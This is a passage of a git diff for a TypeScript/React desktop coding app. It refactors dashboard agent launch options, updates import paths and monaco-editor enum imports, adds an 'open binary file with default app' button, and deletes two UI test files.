-    groupsById: new Map((state.projectGroups ?? []).map((group) => [group.id, group])),
-    reposById: new Map((state.repos ?? []).map((repo) => [repo.id, repo])),
-    worktreesByRepoAndId: new Map(
-      Object.entries(selectWorktreesByRepo(state) ?? {}).map(([repoId, worktrees]) => [
-        repoId,
-        new Map(worktrees.map((worktree) => [worktree.id, worktree]))
-      ])
-    )
-  }
-}
-
-// Why the host-default fallback: a card can render before any launch surface probed its workspace.
-function runtimeAgentsForWorkspace(
-  state: DashboardLaunchOptionState,
-  environmentId: string,
-  worktreeId: string
-): readonly TuiAgent[] {
-  const agents = state.runtimeDetectedAgentIds
-  return (
-    agents?.[getRuntimeAgentInventoryKey(environmentId, worktreeId)] ??
-    agents?.[environmentId] ??
-    []
-  )
-}
-
-function detectedAgentsForWorktree(
-  state: DashboardLaunchOptionState,
-  worktreeId: string,
-  repoId: string,
-  catalog: DashboardLaunchCatalog
-): readonly TuiAgent[] {
-  const workspaceScope = parseWorkspaceKey(worktreeId)
-  if (workspaceScope?.type === 'folder') {
-    const folder = catalog.foldersById.get(workspaceScope.folderWorkspaceId)
-    const group = folder ? catalog.groupsById.get(folder.projectGroupId) : undefined
-    const host = parseExecutionHostId(group?.executionHostId)
-    if (host?.kind === 'runtime') {
-      return runtimeAgentsForWorkspace(state, host.environmentId, worktreeId)
-    }
-    const connectionId = folder?.connectionId ?? group?.connectionId
-    return connectionId ? (state.remoteDetectedAgentIds?.[connectionId] ?? []) : []
-  }
-
-  const worktree = catalog.worktreesByRepoAndId.get(repoId)?.get(worktreeId)
-  const repo = catalog.reposById.get(worktree?.repoId ?? repoId)
-  const host = parseExecutionHostId(worktree?.hostId ?? repo?.executionHostId)
-  if (host?.kind === 'runtime') {
-    return runtimeAgentsForWorkspace(state, host.environmentId, worktreeId)
-  }
-  const connectionId = host?.kind === 'ssh' ? host.targetId : repo?.connectionId
-  return connectionId
-    ? (state.remoteDetectedAgentIds?.[connectionId] ?? [])
-    : (state.detectedAgentIds ?? [])
-}
-
-/** Host-detected choices, agents that open as a chat there, and providers proven to run there. */
-export function buildDashboardWorktreeLaunchOptions(
-  state: DashboardLaunchOptionState,
-  cards: readonly DashboardCard[],
-  workspaces: readonly DashboardWorkspace[] = [],
-  launchRouteStore?: AgentLaunchRouteView
-): Record<string, TuiAgent[]> {
-  const catalog = buildDashboardLaunchCatalog(state)
-  const cardsByWorktreeId = new Map<string, DashboardCard[]>()
-  const repoIdByWorktreeId = new Map(
-    workspaces.map((workspace) => [workspace.worktreeId, workspace.repoId])
-  )
-  for (const card of cards) {
-    repoIdByWorktreeId.set(card.worktreeId, card.repoId)
-    const existing = cardsByWorktreeId.get(card.worktreeId)
-    if (existing) {
-      existing.push(card)
-    } else {
-      cardsByWorktreeId.set(card.worktreeId, [card])
-    }
-  }
-
-  const result: Record<string, TuiAgent[]> = {}
-  for (const [worktreeId, repoId] of repoIdByWorktreeId) {
-    // Bound launch options before validation would reject the entire snapshot.
-    if (Object.keys(result).length >= DASHBOARD_MAX_LAUNCH_WORKTREES) {
-      break
-    }
-    const worktreeCards = cardsByWorktreeId.get(worktreeId) ?? []
-    const detected = detectedAgentsForWorktree(state, worktreeId, repoId, catalog)
-    const available = new Set<TuiAgent>(
-      launchRouteStore
-        ? agentsOfferedForLaunch(launchRouteStore, worktreeLaunchWorkspace(worktreeId), detected)
-        : detected
-    )
-    for (const card of worktreeCards) {
-      if (isTuiAgent(card.agentType)) {
-        available.add(card.agentType)
-      }
-    }
-    const enabled = filterEnabledTuiAgents(
-      TUI_AGENT_AUTO_PICK_ORDER.filter((agent) => available.has(agent)),
-      state.settings?.disabledTuiAgents
-    )
-    const preferred = state.settings?.defaultTuiAgent
-    result[worktreeId] =
-      preferred && preferred !== 'blank' && enabled.includes(preferred)
-        ? [preferred, ...enabled.filter((agent) => agent !== preferred)]
-        : enabled
-  }
-  return result
-}
diff --git a/src/renderer/src/components/dashboard/use-agent-row-conversation-name.ts b/src/renderer/src/components/dashboard/use-agent-row-conversation-name.ts
index add52e79690..1fa9c15b620 100644
--- a/src/renderer/src/components/dashboard/use-agent-row-conversation-name.ts
+++ b/src/renderer/src/components/dashboard/use-agent-row-conversation-name.ts
@@ -3,7 +3,7 @@ import { getAgentRowConversationName } from '../../../../shared/agent-status/pre
 import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
 import { structuredChatDisplayName } from '../../../../shared/structured-chat-row-name'
 import { resolveAgentRowPaneLiveTitle } from './agent-row-pane-live-title'
-import { structuredChatTabById } from '@/lib/structured-chat-tab-index'
+import { structuredChatTabById } from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
 import { useStructuredChatTabConversationName } from '@/runtime/native-chat/naming/structured-conversation-name'
 import type { AppState } from '@/store/types'
 import type { DashboardAgentRow } from './useDashboardData'
diff --git a/src/renderer/src/components/dashboard/useDashboardPopoutBridge.ts b/src/renderer/src/components/dashboard/useDashboardPopoutBridge.ts
index 73539bed721..1bd53b4ff5a 100644
--- a/src/renderer/src/components/dashboard/useDashboardPopoutBridge.ts
+++ b/src/renderer/src/components/dashboard/useDashboardPopoutBridge.ts
@@ -1,4 +1,3 @@
-import { createDashboardChatProgramHolds } from './dashboard-chat-program-acquisition'
 import { useEffect } from 'react'
 import { useAppStore } from '@/store'
 import type { AppState } from '@/store/types'
@@ -6,12 +5,6 @@ import {
   subscribeStructuredChatTabNames,
   getStructuredChatTabNames
 } from '@/runtime/native-chat/naming/structured-chat-name-observation'
-import { subscribeChatProgramFacts } from '@/lib/agent-session/launch/inventory/host-chat-program'
-import {
-  type AgentLaunchRouteView,
-  agentLaunchRouteInputsChanged,
-  selectAgentLaunchRouteView
-} from '@/lib/agent-session/launch/routing/agent-launch-route-input'
 import { revealDashboardAgent } from './reveal-dashboard-agent'
 import type { RepoIcon } from '../../../../shared/repo-icon'
 import { buildDashboardSnapshot, type DashboardSnapshotState } from './build-dashboard-snapshot'
@@ -36,16 +29,15 @@ export function repoIconsUnchanged(
   return nextIds.every((id) => id in previous && next[id] === previous[id])
 }
 
-type DashboardSnapshotWatchState = DashboardSnapshotState &
-  Pick<AppState, 'agentStatusEpoch'> &
-  AgentLaunchRouteView
+type DashboardSnapshotWatchState = DashboardSnapshotState & Pick<AppState, 'agentStatusEpoch'>
 
 export function dashboardSnapshotInputsChanged(
   state: DashboardSnapshotWatchState,
   previousState: DashboardSnapshotWatchState
 ): boolean {
   return (
-    agentLaunchRouteInputsChanged(state, previousState) ||
+    state.activeWorktreeId !== previousState.activeWorktreeId ||
+    state.activeWorkspaceExecutionHostId !== previousState.activeWorkspaceExecutionHostId ||
     state.repos !== previousState.repos ||
     selectWorktreesByRepo(state) !== selectWorktreesByRepo(previousState) ||
     state.tabsByWorktree !== previousState.tabsByWorktree ||
@@ -62,9 +54,6 @@ export function dashboardSnapshotInputsChanged(
     // Why: settings controls idle visibility and generated conversation names.
     state.settings !== previousState.settings ||
     state.workspaceStatuses !== previousState.workspaceStatuses ||
-    state.detectedAgentIds !== previousState.detectedAgentIds ||
-    state.remoteDetectedAgentIds !== previousState.remoteDetectedAgentIds ||
-    state.runtimeDetectedAgentIds !== previousState.runtimeDetectedAgentIds ||
     // Relay live hooks directly; rebuild snapshots for host-profile changes too, since idle boards may have no later event to correct stale byte routing.
     state.sshConnectionStates !== previousState.sshConnectionStates ||
     state.sshStateByEnvironment !== previousState.sshStateByEnvironment ||
@@ -92,12 +81,9 @@ export function watchSnapshotInputs(onChanged: () => void): () => void {
       onChanged()
     }
   })
-  // Launch options also read host chat facts held outside the store.
-  const unsubscribeChatFacts = subscribeChatProgramFacts(onChanged)
   return () => {
     stopNames()
     unsubscribeStore()
-    unsubscribeChatFacts()
   }
 }
 
@@ -128,7 +114,6 @@ export function useDashboardPopoutBridge(enabled: boolean): void {
     }
     let open = false
     let disposed = false
-    const chatOwners = createDashboardChatProgramHolds()
     let unsubscribeStore: (() => void) | null = null
     let trailingTimer: ReturnType<typeof setTimeout> | null = null
     let lastPublishAt = 0
@@ -139,12 +124,10 @@ export function useDashboardPopoutBridge(enabled: boolean): void {
     const publishNow = (withIcons: boolean): void => {
       lastPublishAt = Date.now()
       const state = useAppStore.getState()
-      chatOwners.reconcile(state)
       const snapshot = buildDashboardSnapshot(
         { ...state, chatNames: getStructuredChatTabNames() },
         lastPublishAt,
         {
-          launchRouteStore: selectAgentLaunchRouteView(state),
           rowsCache,
           rowsGeneration: state.agentStatusEpoch
         }
@@ -210,7 +193,6 @@ export function useDashboardPopoutBridge(enabled: boolean): void {
         }
         publishNow(true)
       } else {
-        chatOwners.release()
         unsubscribeStore?.()
         unsubscribeStore = null
         if (trailingTimer) {
@@ -236,7 +218,6 @@ export function useDashboardPopoutBridge(enabled: boolean): void {
 
     return () => {
       disposed = true
-      chatOwners.release()
       offOpenChanged?.()
       offRequested?.()
       unsubscribeStore?.()
diff --git a/src/renderer/src/components/dashboard/useLiveDashboardSnapshot.ts b/src/renderer/src/components/dashboard/useLiveDashboardSnapshot.ts
index 548b3ed1f8a..481ae3e6d2d 100644
--- a/src/renderer/src/components/dashboard/useLiveDashboardSnapshot.ts
+++ b/src/renderer/src/components/dashboard/useLiveDashboardSnapshot.ts
@@ -1,13 +1,9 @@
-import { watchSnapshotInputs } from './useDashboardPopoutBridge'
-import { createDashboardChatProgramHolds } from './dashboard-chat-program-acquisition'
-import { useEffect, useMemo, useRef } from 'react'
+import { useMemo, useRef } from 'react'
 import { useAppStore } from '@/store'
 import { useStructuredChatTabNames } from '@/runtime/native-chat/naming/structured-chat-name-observation'
 import type { DashboardSnapshot } from '../../../../shared/dashboard-snapshot'
 import { buildDashboardSnapshot } from './build-dashboard-snapshot'
-import { useChatProgramFactsVersion } from '@/lib/agent-session/launch/inventory/host-chat-program-acquisition'
 import { createWorktreeAgentRowsCache } from './worktree-agent-rows-cache'
-import { selectAgentLaunchRouteView } from '@/lib/agent-session/launch/routing/agent-launch-route-input'
 import {
   selectDetectedWorktreesByRepo,
   selectFolderWorkspaces,
@@ -53,25 +49,11 @@ export function useLiveDashboardSnapshot(): DashboardSnapshot {
   const runtimeEnvironmentCatalogHydrated = useAppStore((s) => s.runtimeEnvironmentCatalogHydrated)
   const removedRuntimeEnvironmentIds = useAppStore((s) => s.removedRuntimeEnvironmentIds)
   const paneForegroundAgentByPaneKey = useAppStore((s) => s.paneForegroundAgentByPaneKey)
-  const detectedAgentIds = useAppStore((s) => s.detectedAgentIds)
-  const remoteDetectedAgentIds = useAppStore((s) => s.remoteDetectedAgentIds)
-  const runtimeDetectedAgentIds = useAppStore((s) => s.runtimeDetectedAgentIds)
   // Freshness can change buckets without map writes; the epoch invalidates stale-decay memos.
   const agentStatusEpoch = useAppStore((s) => s.agentStatusEpoch)
   const chatNames = useStructuredChatTabNames()
-  // Why: launch options read only this view, so any route input change rebuilds them.
-  const launchRouteStore = useAppStore(selectAgentLaunchRouteView)
-  useEffect(() => {
-    const holds = createDashboardChatProgramHolds()
-    const reconcile = (): void => holds.reconcile(useAppStore.getState())
-    const stopWatching = watchSnapshotInputs(reconcile)
-    reconcile()
-    return () => {
-      stopWatching()
-      holds.release()
-    }
-  }, [])
-  const chatProgramFactsVersion = useChatProgramFactsVersion()
+  const activeWorktreeId = useAppStore((s) => s.activeWorktreeId)
+  const activeWorkspaceExecutionHostId = useAppStore((s) => s.activeWorkspaceExecutionHostId)
 
   return useMemo(
     // Read the clock when the freshness epoch invalidates this memo, matching row derivation.
@@ -79,8 +61,8 @@ export function useLiveDashboardSnapshot(): DashboardSnapshot {
       buildDashboardSnapshot(
         {
           chatNames,
-          activeWorktreeId: launchRouteStore.activeWorktreeId,
-          activeWorkspaceExecutionHostId: launchRouteStore.activeWorkspaceExecutionHostId,
+          activeWorktreeId,
+          activeWorkspaceExecutionHostId,
           repos,
           worktreesByRepo,
           tabsByWorktree,
@@ -109,15 +91,12 @@ export function useLiveDashboardSnapshot(): DashboardSnapshot {
           runtimeEnvironmentCatalogHydrated,
           removedRuntimeEnvironmentIds,
           paneForegroundAgentByPaneKey,
-          detectedAgentIds,
-          remoteDetectedAgentIds,
-          runtimeDetectedAgentIds,
           // Read launch identity non-reactively because Shift+Enter routing does not depend on it; match the bridge gate.
           agentLaunchConfigByPaneKey: useAppStore.getState().agentLaunchConfigByPaneKey
         },
         Date.now(),
         // Reuse unchanged worktree rows while assembling cards fresh from current review/host/status slices.
-        { rowsCache: rowsCacheRef.current, rowsGeneration: agentStatusEpoch, launchRouteStore }
+        { rowsCache: rowsCacheRef.current, rowsGeneration: agentStatusEpoch }
       ),
     // eslint-disable-next-line react-hooks/exhaustive-deps
     [
@@ -149,12 +128,9 @@ export function useLiveDashboardSnapshot(): DashboardSnapshot {
       runtimeEnvironmentCatalogHydrated,
       removedRuntimeEnvironmentIds,
       paneForegroundAgentByPaneKey,
-      detectedAgentIds,
-      remoteDetectedAgentIds,
-      runtimeDetectedAgentIds,
       chatNames,
-      chatProgramFactsVersion,
-      launchRouteStore,
+      activeWorktreeId,
+      activeWorkspaceExecutionHostId,
       agentStatusEpoch
     ]
   )
diff --git a/src/renderer/src/components/dictation/dictation-setup-pill.test.tsx b/src/renderer/src/components/dictation/dictation-setup-pill.test.tsx
deleted file mode 100644
index 6c2f63ea866..00000000000
--- a/src/renderer/src/components/dictation/dictation-setup-pill.test.tsx
+++ /dev/null
@@ -1,86 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act } from 'react'
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { TooltipProvider } from '@/components/ui/tooltip'
-import { useAppStore } from '@/store'
-import { DictationSetupPill } from './DictationSetupPill'
-
-globalThis.IS_REACT_ACT_ENVIRONMENT = true
-
-const cancelDownload = vi.fn(async () => {})
-let root: Root
-let container: HTMLDivElement
-
-beforeEach(() => {
-  cancelDownload.mockClear()
-  Object.defineProperty(window, 'api', {
-    configurable: true,
-    value: {
-      speech: {
-        // Neither the download nor its first progress arrives before the pill is closed.
-        downloadModel: () => new Promise(() => {}),
-        cancelDownload,
-        getModelStates: () => new Promise(() => {}),
-        onDownloadProgress: () => () => {}
-      }
-    }
-  })
-  useAppStore.setState(useAppStore.getInitialState(), true)
-  useAppStore.setState({
-    modelStates: [{ id: 'parakeet', status: 'not-downloaded', needsUpdate: true }]
-  })
-  container = document.createElement('div')
-  document.body.appendChild(container)
-  root = createRoot(container)
-})
-
-afterEach(() => {
-  act(() => root.unmount())
-  container.remove()
-  useAppStore.setState(useAppStore.getInitialState(), true)
-})
-
-function button(label: string): HTMLButtonElement {
-  const match = Array.from(document.querySelectorAll('button')).find(
-    (candidate) =>
-      candidate.textContent?.trim() === label || candidate.getAttribute('aria-label') === label
-  )
-  if (!match) {
-    throw new Error(`missing ${label} button`)
-  }
-  return match
-}
-
-it('cancels a download started from the pill when it is closed before any progress', async () => {
-  const onClose = vi.fn()
-  await act(async () => {
-    root.render(
-      <TooltipProvider>
-        <DictationSetupPill
-          target={{
-            model: {
-              id: 'parakeet',
-              label: 'Parakeet',
-              type: 'transducer',
-              provider: 'local',
-              language: 'en',
-              languages: ['en'],
-              sampleRate: 16000,
-              streaming: false
-            }
-          }}
-          anchor={null}
-          onClose={onClose}
-        />
-      </TooltipProvider>
-    )
-  })
-
-  await act(async () => button('Install').click())
-  await act(async () => button('Cancel download').click())
-
-  expect(cancelDownload).toHaveBeenCalledWith('parakeet')
-  expect(onClose).toHaveBeenCalledOnce()
-})
diff --git a/src/renderer/src/components/dictation/speech-model-update-check.ts b/src/renderer/src/components/dictation/speech-model-update-check.ts
index b781c271abd..ff2c433db48 100644
--- a/src/renderer/src/components/dictation/speech-model-update-check.ts
+++ b/src/renderer/src/components/dictation/speech-model-update-check.ts
@@ -1,5 +1,5 @@
-import { useAppStore } from '@/store'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { useAppStore } from '@/store/index'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import type { SpeechModelManifest, VoiceSettings } from '../../../../shared/speech-types'
 import {
   findSpeechModelUpdateTarget,
diff --git a/src/renderer/src/components/dictation/use-hold-dictation-gesture.ts b/src/renderer/src/components/dictation/use-hold-dictation-gesture.ts
index 2f47c5aa009..e6a31dc01fa 100644
--- a/src/renderer/src/components/dictation/use-hold-dictation-gesture.ts
+++ b/src/renderer/src/components/dictation/use-hold-dictation-gesture.ts
@@ -9,7 +9,7 @@ import { textInputOwnsComposition } from '../../../../shared/text-input-shortcut
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import { dictationShortcutMode } from '../../../../shared/dictation-shortcut-mode'
 import { addAppKeyListener, removeAppKeyListener } from '@/lib/keyboard/app-keyboard-router'
-import { showTerminalShortcutCaptureNotification } from '@/lib/terminal-shortcut-capture-notification'
+import { showTerminalShortcutCaptureNotification } from '@/lib/notifications/terminal-shortcut-capture-notification'
 import { getKeybindingContext } from '../terminal-workspace-model'
 
 type HoldDictationGestureOptions = {
diff --git a/src/renderer/src/components/diff-comments/diff-comment-add-button-overlay.ts b/src/renderer/src/components/diff-comments/diff-comment-add-button-overlay.ts
index 7e30594390b..5f8d759ccae 100644
--- a/src/renderer/src/components/diff-comments/diff-comment-add-button-overlay.ts
+++ b/src/renderer/src/components/diff-comments/diff-comment-add-button-overlay.ts
@@ -1,5 +1,7 @@
-import * as monaco from 'monaco-editor'
 import type { editor as monacoEditor } from 'monaco-editor'
+// Why: a value import of 'monaco-editor' here would evaluate Monaco ahead of its NLS pack
+// (see monaco-nls-import-order.test.ts); the enum module carries no localized labels.
+import { EditorOption } from 'monaco-editor/esm/vs/editor/common/standalone/standaloneEnums.js'
 import type { RefObject } from 'react'
 import { getDiffCommentPopoverTop } from './diff-comment-popover-position'
 import { toDiffCommentLineTarget } from './diff-comment-line-range'
@@ -48,7 +50,7 @@ export function installDiffCommentAddButtonOverlay({
   editorDomNode.appendChild(plus)
 
   const getLineHeight = (): number => {
-    const h = editor.getOption(monaco.editor.EditorOption.lineHeight)
+    const h = editor.getOption(EditorOption.lineHeight)
     return typeof h === 'number' && h > 0 ? h : 19
   }
 
diff --git a/src/renderer/src/components/diff-comments/diff-comment-add-note-shortcut.ts b/src/renderer/src/components/diff-comments/diff-comment-add-note-shortcut.ts
index 3689d89f20d..078fe0f5b6e 100644
--- a/src/renderer/src/components/diff-comments/diff-comment-add-note-shortcut.ts
+++ b/src/renderer/src/components/diff-comments/diff-comment-add-note-shortcut.ts
@@ -1,5 +1,7 @@
-import * as monaco from 'monaco-editor'
 import type { editor as monacoEditor, Selection } from 'monaco-editor'
+// Why: a value import of 'monaco-editor' here would evaluate Monaco ahead of its NLS pack
+// (see monaco-nls-import-order.test.ts); the enum module carries no localized labels.
+import { EditorOption } from 'monaco-editor/esm/vs/editor/common/standalone/standaloneEnums.js'
 import { installEditorAddReviewNoteShortcut } from '../editor/editor-shortcuts'
 import { getDiffCommentPopoverTop } from './diff-comment-popover-position'
 import {
@@ -61,7 +63,7 @@ export function installDiffCommentAddNoteShortcut({
     if (!target) {
       return false
     }
-    const lineHeight = editor.getOption(monaco.editor.EditorOption.lineHeight)
+    const lineHeight = editor.getOption(EditorOption.lineHeight)
     const top = getDiffCommentPopoverTop(editor, target.lineNumber, lineHeight)
     if (top == null) {
       return false
diff --git a/src/renderer/src/components/diff-comments/diff-comment-range-drag.ts b/src/renderer/src/components/diff-comments/diff-comment-range-drag.ts
index eced04d8ac8..43125e67384 100644
--- a/src/renderer/src/components/diff-comments/diff-comment-range-drag.ts
+++ b/src/renderer/src/components/diff-comments/diff-comment-range-drag.ts
@@ -1,5 +1,8 @@
-import * as monaco from 'monaco-editor'
 import type { editor as monacoEditor } from 'monaco-editor'
+// Why: a value import of 'monaco-editor' here would evaluate Monaco ahead of its NLS pack
+// (see monaco-nls-import-order.test.ts); these two modules carry no localized labels.
+import { Range } from 'monaco-editor/esm/vs/editor/common/core/range.js'
+import { MouseTargetType } from 'monaco-editor/esm/vs/editor/common/standalone/standaloneEnums.js'
 import { getDragAutoScrollStepPx, REFERENCE_FRAME_MS } from './diff-comment-drag-auto-scroll'
 import {
   areLineRangesEqual,
@@ -43,7 +46,7 @@ export type DiffCommentRangeDragHandle = {
 
 // Claim line numbers only: decoration presses toggle folds. The external add button resolves separately.
 const GUTTER_PRESS_TARGET_TYPES: ReadonlySet<monacoEditor.MouseTargetType> = new Set([
-  monaco.editor.MouseTargetType.GUTTER_LINE_NUMBERS
+  MouseTargetType.GUTTER_LINE_NUMBERS
 ])
 
 // Far enough into the text column to clear the gutter, close enough to stay on every line.
@@ -93,7 +96,7 @@ export function installDiffCommentRangeDrag({
     }
     decorations.set([
       {
-        range: new monaco.Range(range.startLine, 1, range.endLine, 1),
+        range: new Range(range.startLine, 1, range.endLine, 1),
         options: {
           isWholeLine: true,
           className: 'orca-diff-comment-range-highlight',
diff --git a/src/renderer/src/components/editor/BinaryFileDefaultAppButton.tsx b/src/renderer/src/components/editor/BinaryFileDefaultAppButton.tsx
new file mode 100644
index 00000000000..18924350b56
--- /dev/null
+++ b/src/renderer/src/components/editor/BinaryFileDefaultAppButton.tsx
@@ -0,0 +1,78 @@
+import { useState } from 'react'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import { useTranslate } from '@/i18n/use-translate'
+import { basename } from '@/lib/path'
+import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
+import type { RuntimeFileReadArgs } from '@/runtime/files/runtime-file-client-types'
+import {
+  isClientLocalRuntimeFile,
+  openRuntimeFileWithDefaultApp
+} from '@/runtime/files/reads/runtime-file-default-app-open'
+
+async function openWithDefaultApp(
+  source: RuntimeFileReadArgs
+): Promise<{ opened: boolean } | { opened: false; error: unknown }> {
+  try {
+    return { opened: await openRuntimeFileWithDefaultApp(source) }
+  } catch (error) {
+    return { opened: false, error }
+  }
+}
+
+/** The way out of the "cannot display" tab: hand the file to the app this OS registers for it. */
+export function BinaryFileDefaultAppButton({
+  source
+}: {
+  source: RuntimeFileReadArgs
+}): React.JSX.Element | null {
+  const t = useTranslate()
+  const [pending, setPending] = useState(false)
+  const [openFailed, setOpenFailed] = useState(false)
+  // Why: a paired web client has no OS app to hand the file to.
+  if (isPairedWebClientWindow()) {
+    return null
+  }
+  const local = isClientLocalRuntimeFile(source)
+  const open = async (): Promise<void> => {
+    setPending(true)
+    setOpenFailed(false)
+    const outcome = await openWithDefaultApp(source)
+    setPending(false)
+    if ('error' in outcome && !local) {
+      toast.error(
+        extractIpcErrorMessage(
+          outcome.error,
+          t(
+            'auto.components.editor.BinaryFileDefaultAppButton.downloadFailed',
+            "Failed to download '{{value0}}'.",
+            { value0: basename(source.filePath) }
+          )
+        )
+      )
+      return
+    }
+    setOpenFailed(!outcome.opened)
+  }
+  return (
+    <div className="flex flex-col items-center gap-2">
+      <Button variant="outline" size="sm" disabled={pending} onClick={() => void open()}>
+        {local
+          ? t('auto.components.editor.BinaryFileDefaultAppButton.open', 'Open with default app')
+          : t(
+              'auto.components.editor.BinaryFileDefaultAppButton.downloadOpen',
+              'Download & open with default app'
+            )}
+      </Button>
+      {openFailed && (
+        <p className="text-xs text-muted-foreground" role="alert">
+          {t(
+            'auto.components.editor.BinaryFileDefaultAppButton.openFailed',
+            'No app on this computer opened this file.'
+          )}
+        </p>
+      )}
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/editor/EditorEditFileSurface.tsx b/src/renderer/src/components/editor/EditorEditFileSurface.tsx
index 9ab30a934e2..b47565fd46d 100644
--- a/src/renderer/src/components/editor/EditorEditFileSurface.tsx
+++ b/src/renderer/src/components/editor/EditorEditFileSurface.tsx
@@ -21,6 +21,7 @@ import { RecoverableRenderErrorBoundary } from '../error-boundaries/RecoverableR
 import type { FileContent } from './editor-panel-content-types'
 import { CustomEditorExternalChangeBanner } from './external-changes/CustomEditorExternalChangeBanner'
 import { PluginFileTypeSuggestion } from './PluginFileTypeSuggestion'
+import { BinaryFileDefaultAppButton } from './BinaryFileDefaultAppButton'
 import type { useMarkdownDocuments } from './markdown/documents/useMarkdownDocuments'
 import { EditorMarkdownFileSurface } from './EditorMarkdownFileSurface'
 import type { MarkdownRenderState } from './markdown/render-mode/markdown-render-mode'
@@ -189,8 +190,11 @@ export function EditorEditFileSurface({
       <div className="flex h-full flex-col">
         <PluginEditorSourceFallbackNotice fileId={activeFile.id} filePath={activeFile.filePath} />
         <PluginFileTypeSuggestion filePath={activeFile.filePath} />
-        <div className="flex flex-1 items-center justify-center text-sm text-muted-foreground">
+        <div className="flex flex-1 flex-col items-center justify-center gap-3 text-sm text-muted-foreground">
           {t('auto.components.editor.EditorContent.b9de81ba52', 'Binary file — cannot display')}
+          {fileContent.byteSource && (
+            <BinaryFileDefaultAppButton key={activeFile.id} source={fileContent.byteSource} />
+          )}
         </div>
       </div>
     )
diff --git a/src/renderer/src/components/editor/EditorFileLoadErrorView.tsx b/src/renderer/src/components/editor/EditorFileLoadErrorView.tsx
index 613b8c3146f..6425ca7937f 100644
--- a/src/renderer/src/components/editor/EditorFileLoadErrorView.tsx
+++ b/src/renderer/src/components/editor/EditorFileLoadErrorView.tsx
@@ -2,6 +2,7 @@ import { AlertCircle, RefreshCw } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
+import { formatFileLoadErrorMessage } from './file-load-error-copy'
 import { displayIpcErrorMessage } from '@/runtime/errors/ipc-error'
 import { isFileTooLargeCodeMessage } from '../../../../shared/file-write/file-write-disk-precondition'
 import { WORKTREE_HOST_UNRESOLVED_CODE } from './editor-panel-content-types'
@@ -66,7 +67,9 @@ export function EditorFileLoadErrorView({
           <div className="font-medium text-foreground">
             {t('auto.components.editor.EditorContent.39f018b052', 'Unable to load file')}
           </div>
-          <div className="mt-1 break-words">{localizeFileLoadError(message, code, t)}</div>
+          <div className="mt-1 break-words">
+            {formatFileLoadErrorMessage(localizeFileLoadError(message, code, t))}
+          </div>
           <Button type="button" variant="outline" size="sm" className="mt-3" onClick={onRetry}>
             <RefreshCw className="size-3.5" />
             {t('auto.components.editor.EditorContent.2a512bb46a', 'Retry')}
diff --git a/src/renderer/src/components/editor/EditorPanelHeaderPath.test.tsx b/src/renderer/src/components/editor/EditorPanelHeaderPath.test.tsx
deleted file mode 100644
index 20d14859278..00000000000
--- a/src/renderer/src/components/editor/EditorPanelHeaderPath.test.tsx
+++ /dev/null
@@ -1,138 +0,0 @@
-// @vitest-environment happy-dom
-
-import { cleanup, fireEvent, render, screen } from '@testing-library/react'
-import type * as I18nModule from '@/i18n/i18n'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { OpenFile } from '@/store/slices/editor/types/open-file'
-import { EditorPanelHeaderPath } from './EditorPanelHeaderPath'
-
-const renameFileOnDiskMock = vi.hoisted(() => vi.fn())
-
-vi.mock('@/store/workspaces/selection/use-selected-worktree', () => ({
-  useWorktreeById: () => ({ path: '/repo', repoId: 'repo-1' })
-}))
-
-// Stub owner resolution because this suite does not seed the execution-host catalog.
-vi.mock('@/lib/resolved-worktree-execution-host', () => ({
-  getResolvedExecutionHostIdForWorktree: () => 'local'
-}))
-
-vi.mock('@/lib/editor/file-operations/rename-file', () => ({
-  renameFileOnDisk: renameFileOnDiskMock
-}))
-
-vi.mock('@/hooks/useShortcutLabel', () => ({
-  useShortcutLabel: () => ''
-}))
-
-vi.mock('@/i18n/i18n', async (importOriginal) => {
-  const actual = await importOriginal<typeof I18nModule>()
-  return {
-    ...actual,
-    translate: (_key: string, fallback: string, options?: { value0?: string }) =>
-      fallback.replace('{{value0}}', options?.value0 ?? '')
-  }
-})
-
-afterEach(cleanup)
-
-function baseFile(overrides: Partial<OpenFile> = {}): OpenFile {
-  return {
-    id: '/repo/notes.md',
-    filePath: '/repo/notes.md',
-    relativePath: 'notes.md',
-    worktreeId: 'wt-1',
-    language: 'markdown',
-    isDirty: false,
-    mode: 'edit',
-    ...overrides
-  }
-}
-
-function renderPath(file: OpenFile): (next: OpenFile) => void {
-  const view = render(
-    <EditorPanelHeaderPath
-      activeFile={file}
-      copiedPathVisible={false}
-      canShowMarkdownPreview={false}
-      onCopyPath={vi.fn()}
-      onOpenMarkdownPreview={vi.fn()}
-    />
-  )
-  return (next) =>
-    view.rerender(
-      <EditorPanelHeaderPath
-        activeFile={next}
-        copiedPathVisible={false}
-        canShowMarkdownPreview={false}
-        onCopyPath={vi.fn()}
-        onOpenMarkdownPreview={vi.fn()}
-      />
-    )
-}
-
-function getRenameInput(label: string): HTMLInputElement {
-  const input = screen.getByLabelText(label)
-  if (!(input instanceof HTMLInputElement)) {
-    throw new Error(`Missing rename input: ${label}`)
-  }
-  return input
-}
-
-function openRenameInput(): void {
-  const pathRow = document.querySelector('.editor-header-path-row')
-  if (!pathRow) {
-    throw new Error('Missing editor header path row')
-  }
-  fireEvent.contextMenu(pathRow)
-  fireEvent.click(screen.getByRole('menuitem', { name: 'Rename' }))
-}
-
-describe('EditorPanelHeaderPath inline rename', () => {
-  beforeEach(() => {
-    renameFileOnDiskMock.mockReset()
-    Object.assign(window, { api: { ui: { writeClipboardText: vi.fn() } } })
-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-      callback(0)
-      return 1
-    })
-    vi.stubGlobal('cancelAnimationFrame', vi.fn())
-  })
-
-  it('cancels on Escape without a trailing blur-commit, and ignores empty renames', () => {
-    renderPath(baseFile())
-    openRenameInput()
-
-    const input = getRenameInput('Rename file notes.md')
-    fireEvent.change(input, { target: { value: 'renamed.md' } })
